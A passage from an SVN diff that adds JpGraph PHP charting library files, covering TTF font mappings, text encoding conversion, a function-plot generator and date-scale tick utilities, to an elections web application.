+
+	$aImg->PushColor($this->color);	
+	$aImg->SetFont($this->font_family,$this->font_style,$this->font_size);
+	$aImg->SetTextAlign($this->halign,$this->valign);
+	if( $this->boxed ) {
+	    if( $this->fcolor=="nofill" ) 
+		$this->fcolor=false;		
+	    $aImg->SetLineWeight(1);
+	    $bbox = $aImg->StrokeBoxedText($this->x,$this->y,$this->t,
+				   $this->dir,$this->fcolor,$this->bcolor,$this->shadow,
+				   $this->paragraph_align,5,5,$this->icornerradius,
+				   $this->ishadowwidth);
+	}
+	else {
+	    $bbox = $aImg->StrokeText($this->x,$this->y,$this->t,$this->dir,$this->paragraph_align);
+	}
+
+	// Create CSIM targets
+	$coords = $bbox[0].','.$bbox[1].','.$bbox[2].','.$bbox[3].','.$bbox[4].','.$bbox[5].','.$bbox[6].','.$bbox[7];
+	$this->iCSIMarea = "<area shape=\"poly\" coords=\"$coords\" href=\"".htmlentities($this->iCSIMtarget)."\" ";
+	if( trim($this->iCSIMalt) != '' ) {
+	    $this->iCSIMarea .= " alt=\"".$this->iCSIMalt."\" "; 
+	    $this->iCSIMarea .= " title=\"".$this->iCSIMalt."\" ";
+	}
+	if( trim($this->iCSIMWinTarget) != '' ) {
+	    $this->iCSIMarea .= " target=\"".$this->iCSIMWinTarget."\" "; 
+	}
+	$this->iCSIMarea .= " />\n";
+
+	$aImg->PopColor($this->color);	
+
+    }
+} // Class
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_ttf.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_ttf.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_ttf.inc.php	(revision 44)
@@ -0,0 +1,428 @@
+<?php
+//=======================================================================
+// File:	jpgraph_ttf.inc.php
+// Description:	Handling of TTF fonts
+// Created: 	2006-11-19
+// Ver:		$Id: jpgraph_ttf.inc.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+// TTF Font families
+define("FF_COURIER",10);
+define("FF_VERDANA",11);
+define("FF_TIMES",12);
+define("FF_COMIC",14);
+define("FF_ARIAL",15);
+define("FF_GEORGIA",16);
+define("FF_TREBUCHE",17);
+
+// Gnome Vera font
+// Available from http://www.gnome.org/fonts/
+define("FF_VERA",18);
+define("FF_VERAMONO",19);
+define("FF_VERASERIF",20);
+
+// Chinese font
+define("FF_SIMSUN",30);
+define("FF_CHINESE",31);
+define("FF_BIG5",31);
+
+// Japanese font
+define("FF_MINCHO",40);
+define("FF_PMINCHO",41);
+define("FF_GOTHIC",42);
+define("FF_PGOTHIC",43);
+
+// Hebrew fonts
+define("FF_DAVID",44);
+define("FF_MIRIAM",45);
+define("FF_AHRON",46);
+
+// Dejavu-fonts http://sourceforge.net/projects/dejavu
+define("FF_DV_SANSSERIF",47);
+define("FF_DV_SERIF",48);
+define("FF_DV_SANSSERIFMONO",49);
+define("FF_DV_SERIFCOND",50);
+define("FF_DV_SANSSERIFCOND",51);
+
+// Extra fonts
+// Download fonts from 
+// http://www.webfontlist.com
+// http://www.webpagepublicity.com/free-fonts.html
+
+define("FF_SPEEDO",71);		// This font is also known as Bauer (Used for gauge fascia)
+define("FF_DIGITAL",72);	// Digital readout font
+define("FF_COMPUTER",73);	// The classic computer font
+define("FF_CALCULATOR",74);	// Triad font
+
+define("FF_USERFONT",90);
+define("FF_USERFONT1",90);
+define("FF_USERFONT2",91);
+define("FF_USERFONT3",92);
+
+// Limits for fonts
+define("_FIRST_FONT",10);
+define("_LAST_FONT",99);
+
+// TTF Font styles
+define("FS_NORMAL",9001);
+define("FS_BOLD",9002);
+define("FS_ITALIC",9003);
+define("FS_BOLDIT",9004);
+define("FS_BOLDITALIC",9004);
+
+//Definitions for internal font
+define("FF_FONT0",1);
+define("FF_FONT1",2);
+define("FF_FONT2",4);
+
+//=================================================================
+// CLASS LanguageConv
+// Description: 
+// Converts various character encoding into proper
+// UTF-8 depending on how the library have been configured and
+// what font family is being used
+//=================================================================
+class LanguageConv {
+    private $g2312 = null ;
+
+    function Convert($aTxt,$aFF) {
+	if( LANGUAGE_GREEK ) {
+	    if( GREEK_FROM_WINDOWS ) {
+		$unistring = LanguageConv::gr_win2uni($aTxt); 
+	    } else  {
+		$unistring = LanguageConv::gr_iso2uni($aTxt);
+	    }
+	    return $unistring;
+	} elseif( LANGUAGE_CYRILLIC ) {
+	    if( CYRILLIC_FROM_WINDOWS && (!defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'windows-1251')) ) {
+		$aTxt = convert_cyr_string($aTxt, "w", "k"); 
+	    }
+	    if( !defined('LANGUAGE_CHARSET') || stristr(LANGUAGE_CHARSET, 'koi8-r') || stristr(LANGUAGE_CHARSET, 'windows-1251')) {
+		$isostring = convert_cyr_string($aTxt, "k", "i");
+		$unistring = LanguageConv::iso2uni($isostring);
+	    }
+	    else {
+		$unistring = $aTxt;
+	    }
+	    return $unistring;
+	}
+	elseif( $aFF === FF_SIMSUN ) {
+	    // Do Chinese conversion
+	    if( $this->g2312 == null ) {
+		include_once 'jpgraph_gb2312.php' ;
+		$this->g2312 = new GB2312toUTF8();
+	    }
+	    return $this->g2312->gb2utf8($aTxt);
+	}
+	elseif( $aFF === FF_CHINESE ) {
+	    if( !function_exists('iconv') ) {
+		JpGraphError::RaiseL(25006);
+//('Usage of FF_CHINESE (FF_BIG5) font family requires that your PHP setup has the iconv() function. By default this is not compiled into PHP (needs the "--width-iconv" when configured).');
+	    }
+	    return iconv('BIG5','UTF-8',$aTxt);
+	}
+	elseif( ASSUME_EUCJP_ENCODING &&
+		($aFF == FF_MINCHO || $aFF == FF_GOTHIC || $aFF == FF_PMINCHO || $aFF == FF_PGOTHIC) ) {
+	    if( !function_exists('mb_convert_encoding') ) {
+		JpGraphError::RaiseL(25127);
+	    }
+	    return mb_convert_encoding($aTxt, 'UTF-8','EUC-JP');
+	}
+	elseif( $aFF == FF_DAVID || $aFF == FF_MIRIAM || $aFF == FF_AHRON ) {
+	    return LanguageConv::heb_iso2uni($aTxt);
+	}
+	else 
+	    return $aTxt;
+    }
+
+    // Translate iso encoding to unicode
+    public static function iso2uni ($isoline){
+	$uniline='';
+	for ($i=0; $i < strlen($isoline); $i++){
+	    $thischar=substr($isoline,$i,1);
+	    $charcode=ord($thischar);
+	    $uniline.=($charcode>175) ? "&#" . (1040+($charcode-176)). ";" : $thischar;
+	}
+	return $uniline;
+    }
+
+    // Translate greek iso encoding to unicode
+    public static function gr_iso2uni ($isoline) {
+	$uniline='';
+	for ($i=0; $i < strlen($isoline); $i++)	{
+	    $thischar=substr($isoline,$i,1);
+	    $charcode=ord($thischar);
+	    $uniline.=($charcode>179 && $charcode!=183 && $charcode!=187 && $charcode!=189) ? "&#" . (900+($charcode-180)). ";" : $thischar;
+	}
+	return $uniline;
+    }
+
+    // Translate greek win encoding to unicode
+    public static function gr_win2uni ($winline) {
+	$uniline='';
+	for ($i=0; $i < strlen($winline); $i++) {
+	    $thischar=substr($winline,$i,1);
+	    $charcode=ord($thischar);
+	    if ($charcode==161 || $charcode==162) {
+		$uniline.="&#" . (740+$charcode). ";";
+	    }
+	    else {
+		$uniline.=(($charcode>183 && $charcode!=187 && $charcode!=189) || $charcode==180) ? "&#" . (900+($charcode-180)). ";" : $thischar;
+	    }
+	}
+	return $uniline;
+    }
+
+    public static function heb_iso2uni($isoline) {
+	$isoline = hebrev($isoline);
+	$o = '';
+
+	$n = strlen($isoline);
+	for($i=0; $i < $n; $i++) {
+	    $c=ord( substr($isoline,$i,1) );
+	    $o .= ($c > 223) && ($c < 251) ? '&#'.(1264+$c).';' : chr($c);
+	}
+	return utf8_encode($o);
+    }
+}
+
+//=============================================================
+// CLASS TTF
+// Description: Handle TTF font names and mapping and loading of 
+//              font files
+//=============================================================
+class TTF {
+    private $font_files,$style_names;
+
+//---------------
+// CONSTRUCTOR
+    function TTF() {
+
+	// String names for font styles to be used in error messages
+	$this->style_names=array(FS_NORMAL	=>'normal',
+				 FS_BOLD	=>'bold',
+				 FS_ITALIC	=>'italic',
+				 FS_BOLDITALIC	=>'bolditalic');
+
+	// File names for available fonts
+	$this->font_files=array(
+	    FF_COURIER => array(FS_NORMAL	=>'cour.ttf', 
+				FS_BOLD		=>'courbd.ttf', 
+				FS_ITALIC	=>'couri.ttf', 
+				FS_BOLDITALIC	=>'courbi.ttf' ),
+	    FF_GEORGIA => array(FS_NORMAL	=>'georgia.ttf', 
+				FS_BOLD		=>'georgiab.ttf', 
+				FS_ITALIC	=>'georgiai.ttf', 
+				FS_BOLDITALIC	=>'' ),
+	    FF_TREBUCHE	=>array(FS_NORMAL	=>'trebuc.ttf', 
+				FS_BOLD		=>'trebucbd.ttf',   
+				FS_ITALIC	=>'trebucit.ttf', 
+				FS_BOLDITALIC	=>'trebucbi.ttf' ),
+	    FF_VERDANA 	=> array(FS_NORMAL	=>'verdana.ttf', 
+				FS_BOLD		=>'verdanab.ttf',  
+				FS_ITALIC	=>'verdanai.ttf', 
+				FS_BOLDITALIC	=>'' ),
+	    FF_TIMES =>   array(FS_NORMAL	=>'times.ttf',   
+				FS_BOLD		=>'timesbd.ttf',   
+				FS_ITALIC	=>'timesi.ttf',   
+				FS_BOLDITALIC	=>'timesbi.ttf' ),
+	    FF_COMIC =>   array(FS_NORMAL	=>'comic.ttf',   
+				FS_BOLD		=>'comicbd.ttf',   
+				FS_ITALIC	=>'',         
+				FS_BOLDITALIC	=>'' ),
+	    FF_ARIAL =>   array(FS_NORMAL	=>'arial.ttf',   
+				FS_BOLD		=>'arialbd.ttf',   
+				FS_ITALIC	=>'ariali.ttf',   
+				FS_BOLDITALIC	=>'arialbi.ttf' ) ,
+	    FF_VERA =>    array(FS_NORMAL	=>'Vera.ttf',   
+				FS_BOLD		=>'VeraBd.ttf',   
+				FS_ITALIC	=>'VeraIt.ttf',   
+				FS_BOLDITALIC	=>'VeraBI.ttf' ),
+	    FF_VERAMONO	=> array(FS_NORMAL	=>'VeraMono.ttf', 
+				 FS_BOLD	=>'VeraMoBd.ttf', 
+				 FS_ITALIC	=>'VeraMoIt.ttf', 
+				 FS_BOLDITALIC	=>'VeraMoBI.ttf' ),
+	    FF_VERASERIF=> array(FS_NORMAL	=>'VeraSe.ttf', 
+				  FS_BOLD	=>'VeraSeBd.ttf', 
+				  FS_ITALIC	=>'', 
+				  FS_BOLDITALIC	=>'' ) ,
+
+	    /* Chinese fonts */
+	    FF_SIMSUN 	=>  array(FS_NORMAL	=>'simsun.ttc',  
+				  FS_BOLD	=>'simhei.ttf',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),
+	    FF_CHINESE 	=>   array(FS_NORMAL	=>CHINESE_TTF_FONT, 
+				  FS_BOLD	=>'', 
+				  FS_ITALIC	=>'', 
+				  FS_BOLDITALIC	=>'' ),
+
+	    /* Japanese fonts */
+ 	    FF_MINCHO 	=>  array(FS_NORMAL	=>MINCHO_TTF_FONT,  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),
+ 	    FF_PMINCHO 	=>  array(FS_NORMAL	=>PMINCHO_TTF_FONT,  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',  
+				  FS_BOLDITALIC	=>'' ),    
+ 	    FF_GOTHIC  	=>  array(FS_NORMAL	=>GOTHIC_TTF_FONT,  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),    
+ 	    FF_PGOTHIC 	=>  array(FS_NORMAL	=>PGOTHIC_TTF_FONT,  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',  
+				  FS_BOLDITALIC	=>'' ),    
+ 	    FF_MINCHO 	=>  array(FS_NORMAL	=>PMINCHO_TTF_FONT,  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',  
+				  FS_BOLDITALIC	=>'' ),   
+
+	    /* Hebrew fonts */
+	    FF_DAVID 	=>  array(FS_NORMAL	=>'DAVIDNEW.TTF',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',  
+				  FS_BOLDITALIC	=>'' ),   
+
+	    FF_MIRIAM 	=>  array(FS_NORMAL	=>'MRIAMY.TTF',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',  
+				  FS_BOLDITALIC	=>'' ),   
+
+	    FF_AHRON 	=>  array(FS_NORMAL	=>'ahronbd.ttf',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',  
+				  FS_BOLDITALIC	=>'' ),   
+
+	    /* Misc fonts */
+ 	    FF_DIGITAL =>   array(FS_NORMAL	=>'DIGIRU__.TTF',  
+				  FS_BOLD	=>'Digirtu_.ttf', 
+				  FS_ITALIC	=>'Digir___.ttf', 
+				  FS_BOLDITALIC	=>'DIGIRT__.TTF' ),   
+ 	    FF_SPEEDO =>    array(FS_NORMAL	=>'Speedo.ttf',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),   
+ 	    FF_COMPUTER  =>  array(FS_NORMAL	=>'COMPUTER.TTF',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),   
+ 	    FF_CALCULATOR => array(FS_NORMAL	=>'Triad_xs.ttf',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),  
+
+	    /* Dejavu fonts */
+ 	    FF_DV_SANSSERIF => array(FS_NORMAL	=>'DejaVuSans.ttf',  
+				  FS_BOLD	=>'DejaVuSans-Bold.ttf',   
+				  FS_ITALIC	=>'DejaVuSans-Oblique.ttf',   
+				  FS_BOLDITALIC	=>'DejaVuSans-BoldOblique.ttf' ),  
+
+ 	    FF_DV_SANSSERIFMONO => array(FS_NORMAL	=>'DejaVuSansMono.ttf',  
+				  FS_BOLD	=>'DejaVuSansMono-Bold.ttf',   
+				  FS_ITALIC	=>'DejaVuSansMono-Oblique.ttf',   
+				  FS_BOLDITALIC	=>'DejaVuSansMono-BoldOblique.ttf' ),  
+
+ 	    FF_DV_SANSSERIFCOND => array(FS_NORMAL	=>'DejaVuSansCondensed.ttf',  
+				  FS_BOLD	=>'DejaVuSansCondensed-Bold.ttf',   
+				  FS_ITALIC	=>'DejaVuSansCondensed-Oblique.ttf',   
+				  FS_BOLDITALIC	=>'DejaVuSansCondensed-BoldOblique.ttf' ),  
+
+ 	    FF_DV_SERIF => array(FS_NORMAL	=>'DejaVuSerif.ttf',  
+				  FS_BOLD	=>'DejaVuSerif-Bold.ttf',   
+				  FS_ITALIC	=>'DejaVuSerif-Italic.ttf',   
+				  FS_BOLDITALIC	=>'DejaVuSerif-BoldItalic.ttf' ),  
+
+ 	    FF_DV_SERIFCOND => array(FS_NORMAL	=>'DejaVuSerifCondensed.ttf',  
+				  FS_BOLD	=>'DejaVuSerifCondensed-Bold.ttf',   
+				  FS_ITALIC	=>'DejaVuSerifCondensed-Italic.ttf',   
+				  FS_BOLDITALIC	=>'DejaVuSerifCondensed-BoldItalic.ttf' ),  
+
+
+	    /* User defined font */
+ 	    FF_USERFONT1 => array(FS_NORMAL	=>'',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),  
+
+ 	    FF_USERFONT2 => array(FS_NORMAL	=>'',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),  
+
+ 	    FF_USERFONT3 => array(FS_NORMAL	=>'',  
+				  FS_BOLD	=>'',   
+				  FS_ITALIC	=>'',   
+				  FS_BOLDITALIC	=>'' ),  
+
+ 	    );
+    }
+
+//---------------
+// PUBLIC METHODS	
+    // Create the TTF file from the font specification
+    function File($family,$style=FS_NORMAL) {
+	$fam = @$this->font_files[$family];
+	if( !$fam ) {
+	    JpGraphError::RaiseL(25046,$family);//("Specified TTF font family (id=$family) is unknown or does not exist. Please note that TTF fonts are not distributed with JpGraph for copyright reasons. You can find the MS TTF WEB-fonts (arial, courier etc) for download at http://corefonts.sourceforge.net/");
+	}
+	$f = @$fam[$style];
+
+	if( $f==='' )
+	    JpGraphError::RaiseL(25047,$this->style_names[$style],$this->font_files[$family][FS_NORMAL]);//('Style "'.$this->style_names[$style].'" is not available for font family '.$this->font_files[$family][FS_NORMAL].'.');
+	if( !$f ) {
+	    JpGraphError::RaiseL(25048,$fam);//("Unknown font style specification [$fam].");
+	}
+
+	if ($family >= FF_MINCHO && $family <= FF_PGOTHIC) {
+	    $f = MBTTF_DIR.$f;
+	} else {
+	    $f = TTF_DIR.$f;
+	}
+
+	if( file_exists($f) === false || is_readable($f) === false ) {
+	    JpGraphError::RaiseL(25049,$f);//("Font file \"$f\" is not readable or does not exist.");
+	}
+	return $f;
+    }
+
+    function SetUserFont($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->font_files[FF_USERFONT] = 
+	    array(FS_NORMAL     => $aNormal,  
+		  FS_BOLD	=> $aBold,   
+		  FS_ITALIC	=> $aItalic,   
+		  FS_BOLDITALIC	=> $aBoldIt ) ;
+    }
+
+    function SetUserFont1($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->font_files[FF_USERFONT1] = 
+	    array(FS_NORMAL     => $aNormal,  
+		  FS_BOLD	=> $aBold,   
+		  FS_ITALIC	=> $aItalic,   
+		  FS_BOLDITALIC	=> $aBoldIt ) ;
+    }
+
+    function SetUserFont2($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->font_files[FF_USERFONT2] = 
+	    array(FS_NORMAL     => $aNormal,  
+		  FS_BOLD	=> $aBold,   
+		  FS_ITALIC	=> $aItalic,   
+		  FS_BOLDITALIC	=> $aBoldIt ) ;
+    }
+
+    function SetUserFont3($aNormal,$aBold='',$aItalic='',$aBoldIt='') {
+	$this->font_files[FF_USERFONT3] = 
+	    array(FS_NORMAL     => $aNormal,  
+		  FS_BOLD	=> $aBold,   
+		  FS_ITALIC	=> $aItalic,   
+		  FS_BOLDITALIC	=> $aBoldIt ) ;
+    }
+
+} // Class
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_utils.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_utils.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_utils.inc.php	(revision 44)
@@ -0,0 +1,527 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_UTILS.INC
+// Description: Collection of non-essential "nice to have" utilities 
+// Created: 	2005-11-20
+// Ver:		$Id: jpgraph_utils.inc.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+//===================================================
+// CLASS FuncGenerator
+// Description: Utility class to help generate data for function plots. 
+// The class supports both parametric and regular functions.
+//===================================================
+class FuncGenerator {
+    private $iFunc='',$iXFunc='',$iMin,$iMax,$iStepSize;
+	
+    function FuncGenerator($aFunc,$aXFunc='') {
+	$this->iFunc = $aFunc;
+	$this->iXFunc = $aXFunc;
+    }
+	
+    function E($aXMin,$aXMax,$aSteps=50) {
+	$this->iMin = $aXMin;
+	$this->iMax = $aXMax;
+	$this->iStepSize = ($aXMax-$aXMin)/$aSteps;
+
+	if( $this->iXFunc != '' )
+	    $t = 'for($i='.$aXMin.'; $i<='.$aXMax.'; $i += '.$this->iStepSize.') {$ya[]='.$this->iFunc.';$xa[]='.$this->iXFunc.';}';
+	elseif( $this->iFunc != '' )
+	    $t = 'for($x='.$aXMin.'; $x<='.$aXMax.'; $x += '.$this->iStepSize.') {$ya[]='.$this->iFunc.';$xa[]=$x;} $x='.$aXMax.';$ya[]='.$this->iFunc.';$xa[]=$x;';
+	else
+	    JpGraphError::RaiseL(24001);//('FuncGenerator : No function specified. ');
+			
+	@eval($t);
+		
+	// If there is an error in the function specifcation this is the only
+	// way we can discover that.
+	if( empty($xa) || empty($ya) )
+	    JpGraphError::RaiseL(24002);//('FuncGenerator : Syntax error in function specification ');
+				
+	return array($xa,$ya);
+    }
+}
+
+//=============================================================================
+// CLASS SymChar
+// Description: Code values for some commonly used characters that 
+//              normally isn't available directly on the keyboard, for example
+//              mathematical and greek symbols.
+//=============================================================================
+class  SymChar {
+    static function Get($aSymb,$aCapital=FALSE) {
+        $iSymbols = array(
+    /* Greek */
+	array('alpha','03B1','0391'),
+	array('beta','03B2','0392'),
+	array('gamma','03B3','0393'),
+	array('delta','03B4','0394'),
+	array('epsilon','03B5','0395'),
+	array('zeta','03B6','0396'),
+	array('ny','03B7','0397'),
+	array('eta','03B8','0398'),
+	array('theta','03B8','0398'),
+	array('iota','03B9','0399'),
+	array('kappa','03BA','039A'),
+	array('lambda','03BB','039B'),
+	array('mu','03BC','039C'),
+	array('nu','03BD','039D'),
+	array('xi','03BE','039E'),
+	array('omicron','03BF','039F'),
+	array('pi','03C0','03A0'),
+	array('rho','03C1','03A1'),
+	array('sigma','03C3','03A3'),
+	array('tau','03C4','03A4'),
+	array('upsilon','03C5','03A5'),
+	array('phi','03C6','03A6'),
+	array('chi','03C7','03A7'),
+	array('psi','03C8','03A8'),
+	array('omega','03C9','03A9'),
+    /* Money */
+	array('euro','20AC'),
+	array('yen','00A5'),
+	array('pound','20A4'),
+    /* Math */
+	array('approx','2248'),
+	array('neq','2260'),
+	array('not','2310'),
+	array('def','2261'),
+	array('inf','221E'),
+	array('sqrt','221A'),
+	array('int','222B'),
+    /* Misc */
+	array('copy','00A9'),
+	array('para','00A7'),
+	array('tm','2122'),   /* Trademark symbol */
+	array('rtm','00AE')   /* Registered trademark */
+
+);
+
+	$n = count($iSymbols);
+	$i=0;
+	$found = false;
+	$aSymb = strtolower($aSymb);
+	while( $i < $n && !$found ) {
+	    $found = $aSymb === $iSymbols[$i++][0];
+	}
+	if( $found ) {
+	    $ca = $iSymbols[--$i];
+	    if( $aCapital && count($ca)==3 ) 
+		$s = $ca[2];
+	    else
+		$s = $ca[1];
+	    return sprintf('&#%04d;',hexdec($s));
+	}
+	else
+	    return '';
+    }
+}
+
+
+//=============================================================================
+// CLASS DateScaleUtils
+// Description: Help to create a manual date scale
+//=============================================================================
+define('DSUTILS_MONTH',1); // Major and minor ticks on a monthly basis
+define('DSUTILS_MONTH1',1); // Major and minor ticks on a monthly basis
+define('DSUTILS_MONTH2',2); // Major ticks on a bi-monthly basis
+define('DSUTILS_MONTH3',3); // Major icks on a tri-monthly basis
+define('DSUTILS_MONTH6',4); // Major on a six-monthly basis
+define('DSUTILS_WEEK1',5); // Major ticks on a weekly basis
+define('DSUTILS_WEEK2',6); // Major ticks on a bi-weekly basis
+define('DSUTILS_WEEK4',7); // Major ticks on a quod-weekly basis
+define('DSUTILS_DAY1',8); // Major ticks on a daily basis
+define('DSUTILS_DAY2',9); // Major ticks on a bi-daily basis
+define('DSUTILS_DAY4',10); // Major ticks on a qoud-daily basis
+define('DSUTILS_YEAR1',11); // Major ticks on a yearly basis
+define('DSUTILS_YEAR2',12); // Major ticks on a bi-yearly basis
+define('DSUTILS_YEAR5',13); // Major ticks on a five-yearly basis
+
+
+class DateScaleUtils {
+    public static $iMin=0, $iMax=0;
+
+    private static $starthour,$startmonth, $startday, $startyear;
+    private static $endmonth, $endyear, $endday;
+    private static $tickPositions=array(),$minTickPositions=array();
+    private static $iUseWeeks = true;
+
+    static function UseWeekFormat($aFlg) {
+	self::$iUseWeeks = $aFlg;
+    }
+
+    static function doYearly($aType,$aMinor=false) {
+	$i=0; $j=0;
+	$m = self::$startmonth;
+	$y = self::$startyear;
+
+	if( self::$startday == 1 ) {
+	    self::$tickPositions[$i++] = mktime(0,0,0,$m,1,$y);
+	}
+	++$m;
+
+
+	switch( $aType ) {
+	    case DSUTILS_YEAR1:
+		for($y=self::$startyear; $y <= self::$endyear; ++$y ) {
+		    if( $aMinor ) {
+			while( $m <= 12 ) {
+			    if( !($y == self::$endyear && $m > self::$endmonth) ) {
+				self::$minTickPositions[$j++] = mktime(0,0,0,$m,1,$y);
+			    }
+			    ++$m;
+			}
+			$m=1;
+		    }
+		    self::$tickPositions[$i++] = mktime(0,0,0,1,1,$y);    
+		}
+		break;
+	    case DSUTILS_YEAR2:
+		$y=self::$startyear; 
+		while( $y <= self::$endyear ) {
+		    self::$tickPositions[$i++] = mktime(0,0,0,1,1,$y);    
+		    for($k=0; $k < 1; ++$k ) { 
+			++$y;
+			if( $aMinor ) {
+			    self::$minTickPositions[$j++] = mktime(0,0,0,1,1,$y);
+			}
+		    }
+		    ++$y;
+		}
+		break;
+	    case DSUTILS_YEAR5:
+		$y=self::$startyear; 
+		while( $y <= self::$endyear ) {
+		    self::$tickPositions[$i++] = mktime(0,0,0,1,1,$y);    
+		    for($k=0; $k < 4; ++$k ) { 
+			++$y;
+			if( $aMinor ) {
+			    self::$minTickPositions[$j++] = mktime(0,0,0,1,1,$y);
+			}
+		    }
+		    ++$y;
+		}
+		break;
+	}
+    }
+
+    static function doDaily($aType,$aMinor=false) {
+	$m = self::$startmonth;
+	$y = self::$startyear;
+	$d = self::$startday;
+	$h = self::$starthour;
+	$i=0;$j=0;
+
+	if( $h == 0 ) {
+	    self::$tickPositions[$i++] = mktime(0,0,0,$m,$d,$y);
+	}
+	$t = mktime(0,0,0,$m,$d,$y);	    
+
+	switch($aType) {
+	    case DSUTILS_DAY1:
+		while( $t <= self::$iMax ) {
+		    $t = strtotime('+1 day',$t);
+		    self::$tickPositions[$i++] = $t;
+		    if( $aMinor ) {
+			self::$minTickPositions[$j++] = strtotime('+12 hours',$t); 
+		    }
+		}
+		break;
+	    case DSUTILS_DAY2:
+		while( $t <= self::$iMax ) {
+		    $t = strtotime('+1 day',$t);
+		    if( $aMinor ) {
+			self::$minTickPositions[$j++] = $t;
+		    }
+		    $t = strtotime('+1 day',$t);
+		    self::$tickPositions[$i++] = $t;
+		}
+		break;
+	    case DSUTILS_DAY4:
+		while( $t <= self::$iMax ) {
+		    for($k=0; $k < 3; ++$k ) {
+			$t = strtotime('+1 day',$t);
+			if( $aMinor ) {
+			    self::$minTickPositions[$j++] = $t;
+			}
+		    }
+		    $t = strtotime('+1 day',$t);
+		    self::$tickPositions[$i++] = $t;
+		}
+		break;
+	}
+    }
+
+    static function doWeekly($aType,$aMinor=false) {
+	$hpd = 3600*24;
+	$hpw = 3600*24*7;
+	// Find out week number of min date
+	$thursday = self::$iMin + $hpd * (3 - (date('w', self::$iMin) + 6) % 7);
+	$week = 1 + (date('z', $thursday) - (11 - date('w', mktime(0, 0, 0, 1, 1, date('Y', $thursday)))) % 7) / 7;
+	$daynumber = date('w',self::$iMin);
+	if( $daynumber == 0 ) $daynumber = 7;
+	$m = self::$startmonth;
+	$y = self::$startyear;
+	$d = self::$startday;
+	$i=0;$j=0;
+	// The assumption is that the weeks start on Monday. If the first day
+	// is later in the week then the first week tick has to be on the following
+	// week.
+	if( $daynumber == 1 ) {
+	    self::$tickPositions[$i++] = mktime(0,0,0,$m,$d,$y);
+	    $t = mktime(0,0,0,$m,$d,$y) + $hpw;
+	}
+	else {
+	    $t = mktime(0,0,0,$m,$d,$y) + $hpd*(8-$daynumber);
+	}
+
+	switch($aType) {
+	    case DSUTILS_WEEK1:
+		$cnt=0;
+		break;
+	    case DSUTILS_WEEK2:
+		$cnt=1;
+		break;
+	    case DSUTILS_WEEK4:
+		$cnt=3;
+		break;
+	}
+	while( $t <= self::$iMax ) {
+	    self::$tickPositions[$i++] = $t;
+	    for($k=0; $k < $cnt; ++$k ) {
+		$t += $hpw;
+		if( $aMinor ) {
+		    self::$minTickPositions[$j++] = $t;
+		}
+	    }
+	    $t += $hpw;
+	}
+    }
+
+    static function doMonthly($aType,$aMinor=false) {
+	$monthcount=0;
+	$m = self::$startmonth;
+	$y = self::$startyear;
+	$i=0; $j=0;
+
+	// Skip the first month label if it is before the startdate
+	if( self::$startday == 1 ) {
+	    self::$tickPositions[$i++] = mktime(0,0,0,$m,1,$y);
+	    $monthcount=1;
+	}
+	if( $aType == 1 ) {
+	    if( self::$startday < 15 ) {
+		self::$minTickPositions[$j++] = mktime(0,0,0,$m,15,$y);
+	    }
+	}
+	++$m;
+
+	// Loop through all the years included in the scale
+	for($y=self::$startyear; $y <= self::$endyear; ++$y ) {
+	    // Loop through all the months. There are three cases to consider:
+	    // 1. We are in the first year and must start with the startmonth
+	    // 2. We are in the end year and we must stop at last month of the scale
+	    // 3. A year in between where we run through all the 12 months
+	    $stopmonth = $y == self::$endyear ? self::$endmonth : 12;
+	    while( $m <= $stopmonth ) {
+		switch( $aType ) {
+		    case DSUTILS_MONTH1: 
+			// Set minor tick at the middle of the month
+			if( $aMinor ) {
+			    if( $m <= $stopmonth ) {
+				if( !($y==self::$endyear && $m==$stopmonth && self::$endday < 15) ) 
+				self::$minTickPositions[$j++] = mktime(0,0,0,$m,15,$y);
+			    }
+			}
+			// Major at month 
+			// Get timestamp of first hour of first day in each month
+			self::$tickPositions[$i++] = mktime(0,0,0,$m,1,$y);
+
+			break;
+		    case DSUTILS_MONTH2: 
+			if( $aMinor ) {
+			    // Set minor tick at start of each month
+			    self::$minTickPositions[$j++] = mktime(0,0,0,$m,1,$y);
+			}
+
+			// Major at every second month 
+			// Get timestamp of first hour of first day in each month
+			if( $monthcount % 2 == 0 ) {
+			    self::$tickPositions[$i++] = mktime(0,0,0,$m,1,$y);
+			}
+			break;
+		    case DSUTILS_MONTH3: 
+			if( $aMinor ) {
+			    // Set minor tick at start of each month
